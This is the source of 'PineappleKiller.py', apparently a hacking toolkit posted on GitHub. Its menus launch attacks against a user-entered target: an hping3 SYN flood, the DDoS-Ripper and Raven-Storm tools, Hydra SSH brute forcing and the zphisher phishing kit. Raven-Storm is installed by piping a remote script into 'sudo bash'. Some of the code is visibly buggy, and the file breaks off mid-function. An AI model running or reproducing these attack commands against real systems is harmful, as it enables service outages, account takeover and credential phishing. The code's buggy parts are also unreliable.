-
Notifications
You must be signed in to change notification settings - Fork 3
/
Copy pathPineappleKiller.py
762 lines (735 loc) · 45.4 KB
/
PineappleKiller.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
from pineappledev.pineappledev import *
import os
import time
import sys
import random
import string
def pineapplekillerclear():
try:
os.system("clear")
except:
print("")
pineapplekillerclear()
def pineapplekillerlogo():
print("""\x1b[0;35m
██▓███ ██▓ ███▄ █ ▓█████ ▄▄▄ ██▓███ ██▓███ ██▓ ▓█████ ██ ▄█▀ ██▓ ██▓ ██▓ ▓█████ ██▀███
▓██░ ██▒▓██▒ ██ ▀█ █ ▓█ ▀▒████▄ ▓██░ ██▒▓██░ ██▒▓██▒ ▓█ ▀ ██▄█▒ ▓██▒▓██▒ ▓██▒ ▓█ ▀ ▓██ ▒ ██▒
▓██░ ██▓▒▒██▒▓██ ▀█ ██▒▒███ ▒██ ▀█▄ ▓██░ ██▓▒▓██░ ██▓▒▒██░ ▒███ ▓███▄░ ▒██▒▒██░ ▒██░ ▒███ ▓██ ░▄█ ▒
▒██▄█▓▒ ▒░██░▓██▒ ▐▌██▒▒▓█ ▄░██▄▄▄▄██ ▒██▄█▓▒ ▒▒██▄█▓▒ ▒▒██░ ▒▓█ ▄ ▓██ █▄ ░██░▒██░ ▒██░ ▒▓█ ▄ ▒██▀▀█▄
▒██▒ ░ ░░██░▒██░ ▓██░░▒████▒▓█ ▓██▒▒██▒ ░ ░▒██▒ ░ ░░██████▒░▒████▒▒██▒ █▄░██░░██████▒░██████▒░▒████▒░██▓ ▒██▒
▒▓▒░ ░ ░░▓ ░ ▒░ ▒ ▒ ░░ ▒░ ░▒▒ ▓▒█░▒▓▒░ ░ ░▒▓▒░ ░ ░░ ▒░▓ ░░░ ▒░ ░▒ ▒▒ ▓▒░▓ ░ ▒░▓ ░░ ▒░▓ ░░░ ▒░ ░░ ▒▓ ░▒▓░
░▒ ░ ▒ ░░ ░░ ░ ▒░ ░ ░ ░ ▒ ▒▒ ░░▒ ░ ░▒ ░ ░ ░ ▒ ░ ░ ░ ░░ ░▒ ▒░ ▒ ░░ ░ ▒ ░░ ░ ▒ ░ ░ ░ ░ ░▒ ░ ▒░
░░ ▒ ░ ░ ░ ░ ░ ░ ▒ ░░ ░░ ░ ░ ░ ░ ░░ ░ ▒ ░ ░ ░ ░ ░ ░ ░░ ░
░ ░ ░ ░ ░ ░ ░ ░ ░ ░░ ░ ░ ░ ░ ░ ░ ░ ░ ░
\x1b[0;31m
#################################################################
\x1b[0;34mBy x04000
\x1b[0;33mGithub: github.com/x04000
\x1b[0;32mBase: Python, PineappleDev
\x1b[0;36mVersion: 1.4
\x1b[0;31m#################################################################
\x1b[0;35m
""")
def slowprint(s):
for c in s + '\n':
sys.stdout.write(c)
sys.stdout.flush()
time.sleep(4. / 100)
def nhprogressbar():
print("[ ]", end='\r')
time.sleep(0.1)
print("[■ ]", end='\r')
time.sleep(0.2)
print("[■■ ]", end='\r')
time.sleep(0.4)
print("[■■■ ]", end='\r')
time.sleep(0.2)
print("[■■■■ ]", end='\r')
time.sleep(0.1)
print("[■■■■■ ]", end='\r')
time.sleep(0.5)
print("[■■■■■■ ]", end='\r')
time.sleep(0.1)
print("[■■■■■■■ ]", end='\r')
time.sleep(0.3)
print("[■■■■■■■■ ]", end='\r')
time.sleep(0.2)
print("[■■■■■■■■■ ]", end='\r')
time.sleep(0.2)
print("[■■■■■■■■■■]", end='\r')
time.sleep(0.5)
def nhprogressbar2():
for i in enumerate(list(range(10))):
print("| ", end='\r')
time.sleep(0.1)
print("/ ", end='\r')
time.sleep(0.1)
print("- ", end='\r')
time.sleep(0.1)
print("\\ ", end='\r')
time.sleep(0.1)
print("Done!", end='\r')
pineapplekillerlogo()
try:
print("Do you want to check modules (Installation and update)? [Y/n]")
pineapplekilleroption = str(input("\x1b[0;31mPineappleKiller > \x1b[0;32m"))
if pineapplekilleroption == "Y" or pineapplekilleroption == "y":
slowprint("Installing modules...")
try:
os.system("sudo apt-get install git")
os.system("sudo apt-get install hping3")
os.system("sudo apt-get install etherape")
os.system("sudo apt-get install metasploit-framework")
os.system("sudo apt-get install wireshark")
os.system("sudo apt-get install nmap")
os.system("sudo apt-get install python3-tk")
time.sleep(2)
except:
print("PineappleKiller > A error ocurred during module installation!")
exit()
elif pineapplekilleroption == "N" or pineapplekilleroption == "n":
slowprint("Check of modules skipped")
time.sleep(0.5)
pineapplekillerclear()
pineapplekillerlogo()
slowprint("\x1b[0;36mLoading \x1b[0;31mPineappleKiller\x1b[0;33m.\x1b[0;32m.\x1b[0;34m.\x1b[0;36m")
nhprogressbar()
nhprogressbar2()
time.sleep(1)
except:
print("\n\x1b[0;31m[\x1b[0;36m!\x1b[0;31m] Keyboard interrupt")
exit()
def pineapplekillermenu():
try:
while(True):
os.system("clear")
pineapplekillerlogo()
print("""
███▄ ▄███▓▓█████ ███▄ █ █ ██
▓██▒▀█▀ ██▒▓█ ▀ ██ ▀█ █ ██ ▓██▒
▓██ ▓██░▒███ ▓██ ▀█ ██▒▓██ ▒██░
▒██ ▒██ ▒▓█ ▄ ▓██▒ ▐▌██▒▓▓█ ░██░
▒██▒ ░██▒░▒████▒▒██░ ▓██░▒▒█████▓
░ ▒░ ░ ░░░ ▒░ ░░ ▒░ ▒ ▒ ░▒▓▒ ▒ ▒
░ ░ ░ ░ ░ ░░ ░░ ░ ▒░░░▒░ ░ ░
░ ░ ░ ░ ░ ░ ░░░ ░ ░
░ ░ ░ ░ ░
\x1b[0;31m[\x1b[0;36m00\x1b[0;31m] \x1b[0;32mExit \x1b[0;31m[\x1b[0;36m08\x1b[0;31m] \x1b[0;32mFile modifier
\x1b[0;31m[\x1b[0;36m01\x1b[0;31m] \x1b[0;32mDoS \x1b[0;31m[\x1b[0;36m09\x1b[0;31m] \x1b[0;32mBruteForce
\x1b[0;31m[\x1b[0;36m02\x1b[0;31m] \x1b[0;32mDDoS \x1b[0;31m[\x1b[0;36m07\x1b[0;31m] \x1b[0;32mMetasploit
\x1b[0;31m[\x1b[0;36m03\x1b[0;31m] \x1b[0;32mTrafic view \x1b[0;31m[\x1b[0;36m10\x1b[0;31m] \x1b[0;32mZphisher
\x1b[0;31m[\x1b[0;36m04\x1b[0;31m] \x1b[0;32mPing \x1b[0;31m[\x1b[0;36m11\x1b[0;31m] \x1b[0;32mSherlock
\x1b[0;31m[\x1b[0;36m05\x1b[0;31m] \x1b[0;32mNmap \x1b[0;31m[\x1b[0;36m12\x1b[0;31m] \x1b[0;32mKahoot Tools
\x1b[0;31m[\x1b[0;36m06\x1b[0;31m] \x1b[0;32mSqlMap \x1b[0;31m[\x1b[0;36m13\x1b[0;31m] \x1b[0;32mJS-InjectionPineappleKiller
\x1b[0;31m[\x1b[0;36m07\x1b[0;31m] \x1b[0;32mMetasploit
""")
pineapplekilleroption = input("\x1b[0;31mPineappleKiller > \x1b[0;32m")
if str(pineapplekilleroption) == "00":
print("\x1b[0;31mPineappleKiller > \x1b[0;36mHave a good day :)")
break
if str(pineapplekilleroption) == "01":
pineapplekillerclear()
pineapplekillerlogo()
print("""[DoS]
\x1b[0;31m[\x1b[0;36m00\x1b[0;31m] \x1b[0;32mExit
\x1b[0;31m[\x1b[0;36m01\x1b[0;31m] \x1b[0;32mHping3
""")
pineapplekilleroption = input("\x1b[0;31mPineappleKiller > \x1b[0;32m")
if str(pineapplekilleroption) == "00":
print("")
if str(pineapplekilleroption) == "01":
pineapplekillersettedtarget = 0
pineapplekillertarget = ""
pineapplekillerport = "80"
while(True):
pineapplekillerclear()
pineapplekillerlogo()
print("""\x1b[0;36m[PineappleKiller DoS Hping3]
\x1b[0;36mtarget \x1b[0;31m- \x1b[0;32mDefine target Host
\x1b[0;36mport \x1b[0;31m- \x1b[0;32mDefine port
\x1b[0;36mattack \x1b[0;31m- \x1b[0;32mStart attack
""")
pineapplekilleroption = input("\x1b[0;31mPineappleKiller > \x1b[0;32m")
print("")
if str(pineapplekilleroption) == "attack":
if pineapplekillersettedtarget == 1:
pineapplekillerclear()
pineapplekillerlogo()
print("[\x1b[0;36mPineappleKiller DoS Hping3 \x1b[0;31mAttacking]\x1b[0;36m")
try:
pineapplekillerdoscommand = "sudo hping3 -p "+pineapplekillerport+" -S --flood "+pineapplekillertarget
os.system(pineapplekillerdoscommand)
time.sleep(5)
except:
print("")
else:
print("\n\x1b[0;31m[\x1b[0;36m!\x1b[0;31m] Undefined target!")
if str(pineapplekilleroption) == "target":
print("[Target]")
pineapplekillertarget = input("\x1b[0;31mPineappleKiller > \x1b[0;32m")
pineapplekillersettedtarget = 1
print("")
print("Target set to: "+pineapplekillertarget)
time.sleep(2)
if str(pineapplekilleroption) == "port":
print("[Port]")
pineapplekillerport = input("\x1b[0;31mPineappleKiller > \x1b[0;32m")
if str(pineapplekilleroption) == "02":
pineapplekillerclear()
pineapplekillerlogo()
print("""
\x1b[0;31m[\x1b[0;36m00\x1b[0;31m] \x1b[0;32mExit
\x1b[0;31m[\x1b[0;36m01\x1b[0;31m] \x1b[0;32mDDoS-Ripper
\x1b[0;31m[\x1b[0;36m02\x1b[0;31m] \x1b[0;32mRaven-Storm
""")
pineapplekilleroption = input("\x1b[0;31mPineappleKiller > \x1b[0;32m")
if str(pineapplekilleroption) == "00":
print("")
if str(pineapplekilleroption) == "01":
pineapplekillerclear()
pineapplekillerlogo()
print("Checking panel installation...")
def pineapplekillercheckdripper():
def pineapplekillerdripperinst():
pineapplekillerclear()
pineapplekillerlogo()
print("The panel is not installed!")
print("Do you want to install them? [Y/n]")
pineapplekilleroption = input("\x1b[0;31mPineappleKiller > \x1b[0;32m")
if str(pineapplekilleroption) == "Y":
if os.path.isdir("DDoS-Ripper"):
os.system("sudo rm -rfv DDoS-Ripper")
print("")
print("Downloading panel > Via Github")
try:
os.system("git clone https://github.com/palahsu/DDoS-Ripper")
time.sleep(2)
return pineapplekillercheckdripper()
except:
print("\n\x1b[0;31m[\x1b[0;36m!\x1b[0;31m] Keyboard interrupt")
else:
print("")
if os.path.isdir("DDoS-Ripper"):
if os.path.isfile("DDoS-Ripper/DRipper.py"):
pineapplekillersettedtarget = 0
pineapplekillertarget = ""
pineapplekillerport = "80"
pineapplekillerturbo = "135"
pineapplekillerquiet = "0"
while(True):
pineapplekillerclear()
pineapplekillerlogo()
print("""\x1b[0;36m[PineappleKiller DDoS Ripper]
\x1b[0;36mtarget \x1b[0;31m- \x1b[0;32mDefine target Host
\x1b[0;36mport \x1b[0;31m- \x1b[0;32mDefine port
\x1b[0;36mturbo \x1b[0;31m- \x1b[0;32mSet turbo (135-443)
\x1b[0;36mquiet \x1b[0;31m- \x1b[0;32mSet quiet mode
\x1b[0;36mattack \x1b[0;31m- \x1b[0;32mStart attack
""")
pineapplekilleroption = input("\x1b[0;31mPineappleKiller > \x1b[0;32m")
print("")
if str(pineapplekilleroption) == "attack":
if pineapplekillersettedtarget == 1:
pineapplekillerclear()
pineapplekillerlogo()
print("[\x1b[0;36mPineappleKiller DDoS Ripper \x1b[0;31mAttacking]\x1b[0;36m")
try:
pineapplekillerparameters = "-s "+pineapplekillertarget+" -p "+pineapplekillerport+" -t "+pineapplekillerturbo
if pineapplekillerquiet == "1":
pineapplekillerparameters = pineapplekillerparameters+" -q"
pineapplekillerddosrippercommand = "cd DDoS-Ripper && python3 DRipper.py "+pineapplekillerparameters+" && cd .."
os.system(pineapplekillerddosrippercommand)
time.sleep(1)
except:
print("")
else:
print("\n\x1b[0;31m[\x1b[0;36m!\x1b[0;31m] Undefined target!")
if str(pineapplekilleroption) == "target":
print("[Target]")
pineapplekillertarget = input("\x1b[0;31mPineappleKiller > \x1b[0;32m")
pineapplekillersettedtarget = 1
print("")
print("Target set to: "+pineapplekillertarget)
time.sleep(2)
if str(pineapplekilleroption) == "port":
print("[Port]")
pineapplekillerport = input("\x1b[0;31mPineappleKiller > \x1b[0;32m")
if str(pineapplekilleroption) == "turbo":
print("[Turbo]")
pineapplekillerturbo = input("\x1b[0;31mPineappleKiller > \x1b[0;32m")
if str(pineapplekilleroption) == "quiet":
if str(pineapplekillerquiet) == "0":
pineapplekillerquiet = 1
if str(pineapplekillerquiet) == "1":
pineapplekillerquiet = 0
else:
pineapplekillerdripperinst()
else:
pineapplekillerdripperinst()
pineapplekillercheckdripper()
if str(pineapplekilleroption) == "02":
pineapplekillerclear()
pineapplekillerlogo()
print("Do you want to install the panel? [Y/n]")
pineapplekilleroption = input("\x1b[0;31mPineappleKiller > \x1b[0;32m")
if pineapplekilleroption == "Y":
pineapplekillerclear()
pineapplekillerlogo()
print("Installing Raven Storm...")
try:
os.system("curl -s https://raw.githubusercontent.com/Taguar258/Raven-Storm/master/install.sh | sudo bash -s")
print("PineappleKiller > Installed!")
except:
print("\n\x1b[0;31m[\x1b[0;36m!\x1b[0;31m] Keyboard interrupt")
else:
try:
os.system("sudo rst")
except:
print("\n\x1b[0;31m[\x1b[0;36m!\x1b[0;31m] Keyboard interrupt")
if str(pineapplekilleroption) == "03":
pineapplekillerclear()
pineapplekillerlogo()
print("""[Trafic view]
\x1b[0;31m[\x1b[0;36m00\x1b[0;31m] \x1b[0;32mExit
\x1b[0;31m[\x1b[0;36m01\x1b[0;31m] \x1b[0;32mEtherape
\x1b[0;31m[\x1b[0;36m02\x1b[0;31m] \x1b[0;32mWireshark
""")
pineapplekilleroption = input("\x1b[0;31mPineappleKiller > \x1b[0;32m")
if str(pineapplekilleroption) == "00":
print("")
if str(pineapplekilleroption) == "01":
try:
os.system("sudo etherape")
except:
print("")
if str(pineapplekilleroption) == "02":
try:
os.system("wireshark")
except:
print("")
if str(pineapplekilleroption) == "04":
pineapplekillerclear()
pineapplekillerlogo()
pineapplekillerhost = input("\x1b[0;31mPineappleKiller \x1b[0;36mHost\x1b[0;31m> \x1b[0;32m")
try:
pineapplekillerping = "ping "+pineapplekillerhost
os.system(pineapplekillerping)
time.sleep(5)
except:
print("\n\x1b[0;31m[\x1b[0;36m!\x1b[0;31m] Keyboard interrupt")
if str(pineapplekilleroption) == "05":
while(True):
pineapplekillerclear()
pineapplekillerlogo()
print("\x1b[0;31m[\x1b[0;36mNmap\x1b[0;31m]")
print("""
\x1b[0;31m[\x1b[0;36m00\x1b[0;31m] \x1b[0;32mExit
\x1b[0;31m[\x1b[0;36m01\x1b[0;31m] \x1b[0;32mPing sweep
\x1b[0;31m[\x1b[0;36m02\x1b[0;31m] \x1b[0;32mPort open map
\x1b[0;31m[\x1b[0;36m03\x1b[0;31m] \x1b[0;32mFull port and mac map
\x1b[0;31m[\x1b[0;36m04\x1b[0;31m] \x1b[0;32mSO and Version map
""")
pineapplekilleroption = input("\x1b[0;31mPineappleKiller > \x1b[0;32m")
if str(pineapplekilleroption) == "00":
print("")
if str(pineapplekilleroption) == "01":
pineapplekillerhost = input("\x1b[0;31mPineappleKiller \x1b[0;36mHost\x1b[0;31m> \x1b[0;32m")
pineapplekillersweep = input("\x1b[0;31mPineappleKiller \x1b[0;36mSweep\x1b[0;31m> \x1b[0;32m")
pineapplekillernmapsweepcommand = "nmap -sP "+pineapplekillerhost+"/"+pineapplekillersweep
try:
os.system(pineapplekillernmapsweepcommand)
time.sleep(5)
except:
print("\n\x1b[0;31m[\x1b[0;36m!\x1b[0;31m] Keyboard interrupt")
if str(pineapplekilleroption) == "02":
pineapplekillerhost = input("\x1b[0;31mPineappleKiller Host> \x1b[0;32m")
pineapplekillerport = input("\x1b[0;31mPineappleKiller Port> \x1b[0;32m")
pineapplekillernmapportcommand = "nmap -p "+pineapplekillerhost+" -sT "+pineapplekillerhost
try:
os.system(pineapplekillernmapportcommand)
time.sleep(5)
except:
print("\n\x1b[0;31m[\x1b[0;36m!\x1b[0;31m] Keyboard interrupt")
if str(pineapplekilleroption) == "03":
pineapplekillerhost = input("\x1b[0;31mPineappleKiller \x1b[0;36mHOST\x1b[0;31m> \x1b[0;32m")
pineapplekillernmaphostcommand = "sudo nmap -sS "+pineapplekillerhost
try:
os.system(pineapplekillernmaphostcommand)
time.sleep(5)
except:
print("\n\x1b[0;31m[\x1b[0;36m!\x1b[0;31m] Keyboard interrupt")
if str(pineapplekilleroption) == "04":
pineapplekillerhost = input("\x1b[0;31mPineappleKiller \x1b[0;36mHOST\x1b[0;31m> \x1b[0;32m")
pineapplekillernmapsohostcommand = "nmap -A -T4 "+pineapplekillerhost
try:
os.system(pineapplekillernmapsohostcommand)
time.sleep(5)
except:
print("\n\x1b[0;31m[\x1b[0;36m!\x1b[0;31m] Keyboard interrupt")
if str(pineapplekilleroption) == "06":
print("Coming soon")
time.sleep(2)
if str(pineapplekilleroption) == "07":
pineapplekillerclear()
pineapplekillerlogo()
print("\x1b[0;36m[Metasploit Framework]\x1b[0;32m")
try:
os.system("sudo msfdb init && msfconsole")
except:
print("\n\x1b[0;31m[\x1b[0;36m!\x1b[0;31m] Keyboard interrupt")
if str(pineapplekilleroption) == "08":
pineapplekillerclear()
pineapplekillerlogo()
print("""[File Modifier]
\x1b[0;31m[\x1b[0;36m00\x1b[0;31m] \x1b[0;32mExit
\x1b[0;31m[\x1b[0;36m01\x1b[0;31m] \x1b[0;32mPineappleDevGUI
""")
pineapplekilleroption = input("\x1b[0;31mPineappleKiller > \x1b[0;32m")
if str(pineapplekilleroption) == "00":
print("")
if str(pineapplekilleroption) == "01":
pineapplekillerclear()
pineapplekillerlogo()
print("\x1b[0;31m[PineappleDev File Modifier \x1b[0;32mGUI]\x1b[0;32m")
try:
p_filemodifiergui()
except:
print("\n\x1b[0;31m[\x1b[0;36m!\x1b[0;31m] Keyboard interrupt")
if str(pineapplekilleroption) == "09":
pineapplekillerclear()
pineapplekillerlogo()
print("""[Brute Force]
\x1b[0;31m[\x1b[0;36m00\x1b[0;31m] \x1b[0;32mExit
\x1b[0;31m[\x1b[0;36m01\x1b[0;31m] \x1b[0;32mHydra
\x1b[0;31m[\x1b[0;36m02\x1b[0;31m] \x1b[0;32mPythonBruteForce [by x04000]
""")
pineapplekilleroption = input("\x1b[0;31mPineappleKiller > \x1b[0;32m")
if str(pineapplekilleroption) == "00":
print("")
if str(pineapplekilleroption) == "01":
while(True):
pineapplekillerdefaultwordlist = "pineapplekiller/pineapplekillerwordlist"
pineapplekillerusernamessh = ""
pineapplekillersettedusernamessh = 0
pineapplekillerwordlist = ""
pineapplekillersettedwordlist = 0
pineapplekillerhost = ""
pineapplekillersettedhost = 0
pineapplekillerprocediment = ""
pineapplekillersettedprocediment = 0
pineapplekillerclear()
pineapplekillerlogo()
print("""\x1b[0;31m[\x1b[0;36mHydra\x1b[0;31m]
\x1b[0;36mhost \x1b[0;31m- \x1b[0;32mHost
\x1b[0;36musername \x1b[0;31m- \x1b[0;32mUsername (SSH)
\x1b[0;36mwordlist \x1b[0;31m- \x1b[0;32mWordlist (pineapplekiller have a default wordlist)
\x1b[0;36mprocediment \x1b[0;31m- \x1b[0;32mProcediment
\x1b[0;36mrun \x1b[0;31m- \x1b[0;32mRun Hydra
""")
pineapplekilleroption = input("\x1b[0;31mPineappleKiller > \x1b[0;32m")
print("")
if str(pineapplekilleroption) == "run":
if pineapplekillersettedhost == 1:
pineapplekillerhydraoptions = pineapplekillersettedusernamessh+pineapplekillersettedwordlist+pineapplekillersettedprocediment
pineapplekillerclear()
pineapplekillerlogo()
print("[\x1b[0;36mPineappleKiller Hydra \x1b[0;31mAttacking]\x1b[0;36m")
if pineapplekillerhydraoptions == 0:
try:
pineapplekillerhydracommand = "hydra -P "+pineapplekillerdefaultwordlist+" "+pineapplekillerhost
os.system(pineapplekillerhydracommand)
time.sleep(5)
except:
print("\n\x1b[0;31m[\x1b[0;36m!\x1b[0;31m] Keyboard interrupt")
if pineapplekillerhydraoptions == 4:
try:
pineapplekillerhydracommand = "hydra -l "+pineapplekillerusernamessh+" -P "+pineapplekillerdefaultwordlist+" "+pineapplekillerhost+" -t 4 ssh"
os.system(pineapplekillerhydracommand)
time.sleep(5)
except:
print("\n\x1b[0;31m[\x1b[0;36m!\x1b[0;31m] Keyboard interrupt")
if pineapplekillerhydraoptions == 5:
try:
pineapplekillerhydracommand = "hydra -P "+pineapplekillerwordlist+" "+pineapplekillerhost
os.system(pineapplekillerhydracommand)
time.sleep(5)
except:
print("\n\x1b[0;31m[\x1b[0;36m!\x1b[0;31m] Keyboard interrupt")
if pineapplekillerhydraoptions == 6:
try:
pineapplekillerhydracommand = "hydra -P "+pineapplekillerdefaultwordlist+" "+pineapplekillerhost+" -t 4 "+pineapplekillerprocediment
os.system(pineapplekillerhydracommand)
time.sleep(5)
except:
print("\n\x1b[0;31m[\x1b[0;36m!\x1b[0;31m] Keyboard interrupt")
if pineapplekillerhydraoptions == 9:
try:
pineapplekillerhydracommand = "hydra -l "+pineapplekillerusernamessh+" -P "+pineapplekillerwordlist+" "+pineapplekillerhost+" -t 4 "+pineapplekillerprocediment
os.system(pineapplekillerhydracommand)
time.sleep(5)
except:
print("\n\x1b[0;31m[\x1b[0;36m!\x1b[0;31m] Keyboard interrupt")
if pineapplekillerhydraoptions == 10:
try:
pineapplekillerhydracommand = "hydra -l "+pineapplekillerusernamessh+" -P "+pineapplekillerdefaultwordlist+" "+pineapplekillerhost+" -t 4 "+pineapplekillerprocediment
os.system(pineapplekillerhydracommand)
time.sleep(5)
except:
print("\n\x1b[0;31m[\x1b[0;36m!\x1b[0;31m] Keyboard interrupt")
if pineapplekillerhydraoptions == 11:
try:
pineapplekillerhydracommand = "hydra -P "+pineapplekillerwordlist+" "+pineapplekillerhost+" -t 4 "+pineapplekillerprocediment
os.system(pineapplekillerhydracommand)
time.sleep(5)
except:
print("\n\x1b[0;31m[\x1b[0;36m!\x1b[0;31m] Keyboard interrupt")
else:
print("\n\x1b[0;31m[\x1b[0;36m!\x1b[0;31m] Undefined target!")
if str(pineapplekilleroption) == "host":
print("[Host]")
pineapplekillerhost = input("\x1b[0;31mPineappleKiller > \x1b[0;32m")
pineapplekillersettedhost = 1
print("")
print("Target set to: "+pineapplekillerhost)
time.sleep(2)
if str(pineapplekilleroption) == "username":
print("[Username (SSH)]")
pineapplekillerusernamessh = input("\x1b[0;31mPineappleKiller > \x1b[0;32m")
pineapplekillersettedusernamessh = 4
if str(pineapplekilleroption) == "wordlist":
print("[Wordlist]")
pineapplekillerwordlist = input("\x1b[0;31mPineappleKiller > \x1b[0;32m")
pineapplekillersettedwordlist = 5
if str(pineapplekilleroption) == "procediment":
print("[Procediment]")
pineapplekillerprocediment = input("\x1b[0;31mPineappleKiller > \x1b[0;32m")
pineapplekillersettedprocediment = 6
if str(pineapplekilleroption) == "02":
print("Checking PythonBruteForce installation...")
def pineapplekillercheckpythonbruteforce():
def pineapplekillerpythonbruteforceinst():
print("The PythonBruteForce is not installed!")
print("Do you want to install them? [Y/n]")
pineapplekilleroption = input("\x1b[0;31mPineappleKiller > \x1b[0;32m")
if str(pineapplekilleroption) == "Y":
if os.path.isdir("PythonBruteForce"):
os.system("sudo rm -rfv PythonBruteForce")
print("")
print("Downloading PythonBruteForce > Via Github")
try:
os.system("git clone https://github.com/x04000/PythonBruteForce")
time.sleep(2)
return pineapplekillercheckpythonbruteforce()
except:
print("\n\x1b[0;31m[\x1b[0;36m!\x1b[0;31m] Keyboard interrupt")
else:
print("")
if os.path.isdir("zphisher"):
if os.path.isfile("PythonBruteForce/BruteForceHash.py"):
pineapplekillerclear()
pineapplekillerlogo()
try:
while(True):
pineapplekillerclear()
pineapplekillerlogo()
print("""[PythonBruteForce]
\x1b[0;31m[\x1b[0;36m00\x1b[0;31m] \x1b[0;32mExit
\x1b[0;31m[\x1b[0;36m01\x1b[0;31m] \x1b[0;32mBruteForce
\x1b[0;31m[\x1b[0;36m02\x1b[0;31m] \x1b[0;32mBruteForceHash
\x1b[0;31m[\x1b[0;36m02\x1b[0;31m] \x1b[0;32mToHash
""")
pineapplekilleroption = input("\x1b[0;31mPineappleKiller > \x1b[0;32m")
if str(pineapplekilleroption) == "00":
break
if str(pineapplekilleroption) == "01":
pineapplekillerclear()
pineapplekillerlogo()
os.system("cd PythonBruteForce && python3 BruteForce.py && cd ..")
if str(pineapplekilleroption) == "02":
pineapplekillerclear()
pineapplekillerlogo()
os.system("cd PythonBruteForce && python3 BruteForceHash.py && cd ..")
if str(pineapplekilleroption) == "03":
pineapplekillerclear()
pineapplekillerlogo()
os.system("cd PythonBruteForce && python3 ToHash.py && cd ..")
except:
print("\n\x1b[0;31m[\x1b[0;36m!\x1b[0;31m] Keyboard interrupt")
else:
pineapplekillerpythonbruteforceinst()
else:
pineapplekillerpythonbruteforceinst()
pineapplekillercheckpythonbruteforce()
if pineapplekilleroption == "10":
pineapplekillerclear()
pineapplekillerlogo()
print("Checking zphisher installation...")
def pineapplekillercheckzphisher():
def pineapplekillerzphisherinst():
print("The zphisher is not installed!")
print("Do you want to install them? [Y/n]")
pineapplekilleroption = input("\x1b[0;31mPineappleKiller > \x1b[0;32m")
if str(pineapplekilleroption) == "Y":
if os.path.isdir("zphisher"):
os.system("sudo rm -rfv zphisher")
print("")
print("Downloading zphisher > Via Github")
try:
os.system("git clone https://github.com/htr-tech/zphisher")
time.sleep(2)
return pineapplekillercheckzphisher()
except:
print("\n\x1b[0;31m[\x1b[0;36m!\x1b[0;31m] Keyboard interrupt")
else:
print("")
if os.path.isdir("zphisher"):
if os.path.isfile("zphisher/zphisher.sh"):
pineapplekillerclear()
pineapplekillerlogo()
try:
os.system("cd zphisher && bash zphisher.sh && cd ..")
except:
print("\n\x1b[0;31m[\x1b[0;36m!\x1b[0;31m] Keyboard interrupt")
else:
pineapplekillerzphisherinst()
else:
pineapplekillerzphisherinst()
pineapplekillercheckzphisher()
if pineapplekilleroption == "11":
pineapplekillerclear()
pineapplekillerlogo()
print("Checking sherlock installation...")
def pineapplekillerchecksherlock():
def pineapplekillersherlockinst():
print("The sherlock is not installed!")
print("Do you want to install them? [Y/n]")
pineapplekilleroption = input("\x1b[0;31mPineappleKiller > \x1b[0;32m")
if str(pineapplekilleroption) == "Y":
if os.path.isdir("sherlock"):
os.system("sudo rm -rfv sherlock")
print("")
print("Downloading sherlock > Via Github")
try:
os.system("git clone https://github.com/sherlock-project/sherlock")
os.system("cd sherlock && python3 -m pip install -r requirements.txt && cd ..")
time.sleep(2)
return pineapplekillerchecksherlock()
except:
print("\n\x1b[0;31m[\x1b[0;36m!\x1b[0;31m] Keyboard interrupt")
else:
print("")
if os.path.isdir("sherlock"):
if os.path.isfile("sherlock/sherlock/sherlock.py"):
pineapplekillerclear()
pineapplekillerlogo()
pineapplekillerusername = input("\x1b[0;31mPineappleKiller \x1b[0;36mUsername\x1b[0;31m> \x1b[0;32m")
try:
